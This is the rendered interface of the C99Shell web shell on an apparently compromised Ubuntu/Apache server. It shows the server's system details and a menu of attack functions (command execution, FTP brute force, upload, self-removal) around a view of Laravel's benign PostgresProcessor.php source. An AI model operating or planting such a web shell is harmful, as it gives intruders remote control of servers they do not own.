!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/laravel/framework/src/Illuminate/Database/Query/Processors/   drwxrwxrwx
Free 13.2 GB of 57.97 GB (22.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PostgresProcessor.php (5.4 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Database\Query\Processors;

use 
Illuminate\Database\Query\Builder;

class 
PostgresProcessor extends Processor
{
    
/**
     * Process an "insert get ID" query.
     *
     * @param  \Illuminate\Database\Query\Builder  $query
     * @param  string  $sql
     * @param  array  $values
     * @param  string|null  $sequence
     * @return int
     */
    
public function processInsertGetId(Builder $query$sql$values$sequence null)
    {
        
$connection $query->getConnection();

        
$connection->recordsHaveBeenModified();

        
$result $connection->selectFromWriteConnection($sql$values)[0];

        
$sequence $sequence ?: 'id';

        
$id is_object($result) ? $result->{$sequence} : $result[$sequence];

        return 
is_numeric($id) ? (int) $id $id;
    }

    
/**
     * Process the results of a column listing query.
     *
     * @deprecated Will be removed in a future Laravel version.
     *
     * @param  array  $results
     * @return array
     */
    
public function processColumnListing($results)
    {
        return 
array_map(function ($result) {
            return ((object) 
$result)->column_name;
        }, 
$results);
    }

    
/**
     * Process the results of a types query.
     *
     * @param  array  $results
     * @return array
     */
    
public function processTypes($results)
    {
        return 
array_map(function ($result) {
            
$result = (object) $result;

            return [
                
'name' => $result->name,
                
'schema' => $result->schema,
                
'implicit' => (bool) $result->implicit,
                
'type' => match (strtolower($result->type)) {
                    
'b' => 'base',
                    
'c' => 'composite',
                    
'd' => 'domain',
                    
'e' => 'enum',
                    
'p' => 'pseudo',
                    
'r' => 'range',
                    
'm' => 'multirange',
                    default => 
null,
                },
                
'category' => match (strtolower($result->category)) {
                    
'a' => 'array',
                    
'b' => 'boolean',
                    
'c' => 'composite',
                    
'd' => 'date_time',
                    
'e' => 'enum',
                    
'g' => 'geometric',
                    
'i' => 'network_address',
                    
'n' => 'numeric',
                    
'p' => 'pseudo',
                    
'r' => 'range',
                    
's' => 'string',
                    
't' => 'timespan',
                    
'u' => 'user_defined',
                    
'v' => 'bit_string',
                    
'x' => 'unknown',
                    
'z' => 'internal_use',
                    default => 
null,
                },
            ];
        }, 
$results);
    }

    
/**
     * Process the results of a columns query.
     *
     * @param  array  $results
     * @return array
     */
    
public function processColumns($results)
    {
        return 
array_map(function ($result) {
            
$result = (object) $result;

            
$autoincrement $result->default !== null && str_starts_with($result->default'nextval(');

            return [
                
'name' => $result->name,
                
'type_name' => $result->type_name,
                
'type' => $result->type,
                
'collation' => $result->collation,
                
'nullable' => (bool) $result->nullable,
                
'default' => $autoincrement null $result->default,
                
'auto_increment' => $autoincrement,
                
'comment' => $result->comment,
            ];
        }, 
$results);
    }

    
/**
     * Process the results of an indexes query.
     *
     * @param  array  $results
     * @return array
     */
    
public function processIndexes($results)
    {
        return 
array_map(function ($result) {
            
$result = (object) $result;

            return [
                
'name' => strtolower($result->name),
                
'columns' => explode(','$result->columns),
                
'type' => strtolower($result->type),
                
'unique' => (bool) $result->unique,
                
'primary' => (bool) $result->primary,
            ];
        }, 
$results);
    }

    
/**
     * Process the results of a foreign keys query.
     *
     * @param  array  $results
     * @return array
     */
    
public function processForeignKeys($results)
    {
        return 
array_map(function ($result) {
            
$result = (object) $result;

            return [
                
'name' => $result->name,
                
'columns' => explode(','$result->columns),
                
'foreign_schema' => $result->foreign_schema,
                
'foreign_table' => $result->foreign_table,
                
'foreign_columns' => explode(','$result->foreign_columns),
                
'on_update' => match (strtolower($result->on_update)) {
                    
'a' => 'no action',
                    
'r' => 'restrict',
                    
'c' => 'cascade',
                    
'n' => 'set null',
                    
'd' => 'set default',
                    default => 
null,
                },
                
'on_delete' => match (strtolower($result->on_delete)) {
                    
'a' => 'no action',
                    
'r' => 'restrict',
                    
'c' => 'cascade',
                    
'n' => 'set null',
                    
'd' => 'set default',
                    default => 
null,
                },
            ];
        }, 
$results);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0074 ]--